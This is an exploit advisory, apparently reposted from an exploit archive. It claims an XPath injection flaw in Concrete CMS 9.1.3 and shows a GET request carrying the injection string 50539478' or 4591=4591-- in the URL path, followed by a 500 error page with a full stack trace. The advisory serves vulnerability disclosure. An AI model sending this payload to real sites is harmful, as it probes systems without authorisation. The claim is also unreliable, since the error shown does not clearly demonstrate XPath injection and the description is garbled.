Concrete5 CME v9.1.3 - Xpath injection Vulnerability

2023-03-3000:00:00
nu11secur1ty
0day.today
218
JSON
## Exploit Title: Concrete5 CME v9.1.3 - Xpath injection
## Author: nu11secur1ty
## Vendor: https://www.concretecms.org/
## Software: https://www.concretecms.org/download
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/concretecms.org/2022/concretecms-9.1.3

## Description:
The URL path folder `3` appears to be vulnerable to XPath injection attacks.
The test payload 50539478' or 4591=4591-- was submitted in the URL
path folder `3`, and an XPath error message was returned.
The attacker can flood with requests the system by using this
vulnerability to untilted he receives the actual paths of the all
content of this system which content is stored on some internal or
external server.

## STATUS: HIGH Vulnerability

[+] Exploits:
00:
```GET
GET /concrete-cms-9.1.3/index.php/ccm50539478'%20or%204591%3d4591--%20/assets/localization/moment/js
HTTP/1.1
Host: pwnedhost.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 0
```

[+] Response:

```HTTP
HTTP/1.1 500 Internal Server Error
Date: Mon, 28 Nov 2022 15:32:22 GMT
Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30
X-Powered-By: PHP/7.4.30
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 592153

<!DOCTYPE html><!--


Whoops\Exception\ErrorException: include(): Failed opening
'C:/xampp/htdocs/pwnedhost/concrete-cms-9.1.3/application/files/cache/expensive\0fea6a13c52b4d47\25368f24b045ca84\38a865804f8fdcb6\57cd99682e939275\3e7d68124ace5663\5a578007c2573b03\d35376a9b3047dec\fee81596e3895419.php'
for inclusion (include_path='C:/xampp/htdocs/pwnedhost/concrete-cms-9.1.3/concrete/vendor;C:\xampp\php\PEAR')
in file C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\vendor\tedivm\stash\src\Stash\Driver\FileSystem\NativeEncoder.php
on line 26
Stack trace:
  1. Whoops\Exception\ErrorException->()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\vendor\tedivm\stash\src\Stash\Driver\FileSystem\NativeEncoder.php:26
  2. include() C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\vendor\tedivm\stash\src\Stash\Driver\FileSystem\NativeEncoder.php:26
  3. Stash\Driver\FileSystem\NativeEncoder->deserialize()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\vendor\tedivm\stash\src\Stash\Driver\FileSystem.php:201
  4. Stash\Driver\FileSystem->getData()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\vendor\tedivm\stash\src\Stash\Item.php:631
  5. Stash\Item->getRecord()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\vendor\tedivm\stash\src\Stash\Item.php:321
  6. Stash\Item->executeGet()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\vendor\tedivm\stash\src\Stash\Item.php:252
  7. Stash\Item->get()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\vendor\tedivm\stash\src\Stash\Item.php:346
  8. Stash\Item->isMiss()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Cache\Adapter\LaminasCacheDriver.php:67
  9. Concrete\Core\Cache\Adapter\LaminasCacheDriver->internalGetItem()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\vendor\laminas\laminas-cache\src\Storage\Adapter\AbstractAdapter.php:356
 10. Laminas\Cache\Storage\Adapter\AbstractAdapter->getItem()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\vendor\laminas\laminas-i18n\src\Translator\Translator.php:601
 11. Laminas\I18n\Translator\Translator->loadMessages()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\vendor\laminas\laminas-i18n\src\Translator\Translator.php:434
 12. Laminas\I18n\Translator\Translator->getTranslatedMessage()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\vendor\laminas\laminas-i18n\src\Translator\Translator.php:349
 13. Laminas\I18n\Translator\Translator->translate()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Localization\Translator\Adapter\Laminas\TranslatorAdapter.php:69
 14. Concrete\Core\Localization\Translator\Adapter\Laminas\TranslatorAdapter->translate()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\bootstrap\helpers.php:27
 15. t() C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\blocks\top_navigation_bar\view.php:47
 16. include() C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Block\View\BlockView.php:267
 17. Concrete\Core\Block\View\BlockView->renderViewContents()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\View\AbstractView.php:164
 18. Concrete\Core\View\AbstractView->render()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Area\Area.php:853
 19. Concrete\Core\Area\Area->display()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Area\GlobalArea.php:128
 20. Concrete\Core\Area\GlobalArea->display()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\themes\atomik\elements\header.php:11
 21. include() C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\View\View.php:125
 22. Concrete\Core\View\View->inc()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\themes\atomik\view.php:4
 23. include() C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\View\View.php:329
 24. Concrete\Core\View\View->renderTemplate()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\View\View.php:291
 25. Concrete\Core\View\View->renderViewContents()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\View\AbstractView.php:164
 26. Concrete\Core\View\AbstractView->render()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\controllers\single_page\page_not_found.php:19
 27. Concrete\Controller\SinglePage\PageNotFound->view()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Controller\AbstractController.php:318
 28. call_user_func_array()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Controller\AbstractController.php:318
 29. Concrete\Core\Controller\AbstractController->runAction()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\ResponseFactory.php:188
 30. Concrete\Core\Http\ResponseFactory->controller()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\ResponseFactory.php:95
 31. Concrete\Core\Http\ResponseFactory->notFound()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\ResponseFactory.php:390
 32. Concrete\Core\Http\ResponseFactory->collectionNotFound()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\ResponseFactory.php:234
 33. Concrete\Core\Http\ResponseFactory->collection()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\DefaultDispatcher.php:132
 34. Concrete\Core\Http\DefaultDispatcher->handleDispatch()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\DefaultDispatcher.php:60
 35. Concrete\Core\Http\DefaultDispatcher->dispatch()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\Middleware\DispatcherDelegate.php:39
 36. Concrete\Core\Http\Middleware\DispatcherDelegate->next()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\Middleware\FrameOptionsMiddleware.php:39
 37. Concrete\Core\Http\Middleware\FrameOptionsMiddleware->process()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\Middleware\MiddlewareDelegate.php:50
 38. Concrete\Core\Http\Middleware\MiddlewareDelegate->next()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\Middleware\StrictTransportSecurityMiddleware.php:36
 39. Concrete\Core\Http\Middleware\StrictTransportSecurityMiddleware->process()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\Middleware\MiddlewareDelegate.php:50
 40. Concrete\Core\Http\Middleware\MiddlewareDelegate->next()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\Middleware\ContentSecurityPolicyMiddleware.php:36
 41. Concrete\Core\Http\Middleware\ContentSecurityPolicyMiddleware->process()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\Middleware\MiddlewareDelegate.php:50
 42. Concrete\Core\Http\Middleware\MiddlewareDelegate->next()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\Middleware\CookieMiddleware.php:35
 43. Concrete\Core\Http\Middleware\CookieMiddleware->process()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\Middleware\MiddlewareDelegate.php:50
 44. Concrete\Core\Http\Middleware\MiddlewareDelegate->next()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\Middleware\ApplicationMiddleware.php:29
 45. Concrete\Core\Http\Middleware\ApplicationMiddleware->process()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\Middleware\MiddlewareDelegate.php:50
 46. Concrete\Core\Http\Middleware\MiddlewareDelegate->next()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\Middleware\MiddlewareStack.php:86
 47. Concrete\Core\Http\Middleware\MiddlewareStack->process()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Http\DefaultServer.php:85
 48. Concrete\Core\Http\DefaultServer->handleRequest()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Foundation\Runtime\Run\DefaultRunner.php:125
 49. Concrete\Core\Foundation\Runtime\Run\DefaultRunner->run()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\src\Foundation\Runtime\DefaultRuntime.php:102
 50. Concrete\Core\Foundation\Runtime\DefaultRuntime->run()
C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\concrete\dispatcher.php:45
 51. require() C:\xampp\htdocs\pwnedhost\concrete-cms-9.1.3\index.php:2


--><html>
  <head>
    <meta charset="utf-8">
    <meta name="robots" content="noindex,nofollow"/>
    <meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no"/>
    <title>Concrete CMS has encountered an issue.</title>

    <style>body {
  font: 12px "Helvetica Neue", helvetica, arial, sans-serif;
  color: #131313;
  background: #eeeeee;
  padding:0;
  margin: 0;
  max-height: 100%;

  text-rendering: optimizeLegibility;
}
  a {
    text-decoration: none;
  }

.Whoops.container {
    position: relative;
    z-index: 9999999999;
}

.panel {
    overflow-y: scroll;
    height: 100%;
    position: fixed;
    margin: 0;
    left: 0;
    top: 0;
}

.branding {
  position: absolute;
  top: 10px;
  right: 20px;
  color: #777777;
  font-size: 10px;
    z-index: 100;
}
  .branding a {
    color: #e95353;
  }

header {
  color: white;
  box-sizing: border-box;
  background-color: #2a2a2a;
  padding: 35px 40px;
  max-height: 180px;
  overflow: hidden;
  transition: 0.5s;
}

  header.header-expand {
    max-height: 1000px;
  }

  .exc-title {
    margin: 0;
    color: #bebebe;
    font-size: 14px;
  }
    .exc-title-primary, .exc-title-secondary {
      color: #e95353;
    }

    .exc-message {
      font-size: 20px;
      word-wrap: break-word;
      margin: 4px 0 0 0;
      color: white;
    }
      .exc-message span {
        display: block;
      }
      .exc-message-empty-notice {
        color: #a29d9d;
        font-weight: 300;
      }

.......

```


## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/concretecms.org/2022/concretecms-9.1.3)

## Proof and Exploit:
[href](https://streamable.com/4f60ka)

## Time spent
`03:00:00`


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
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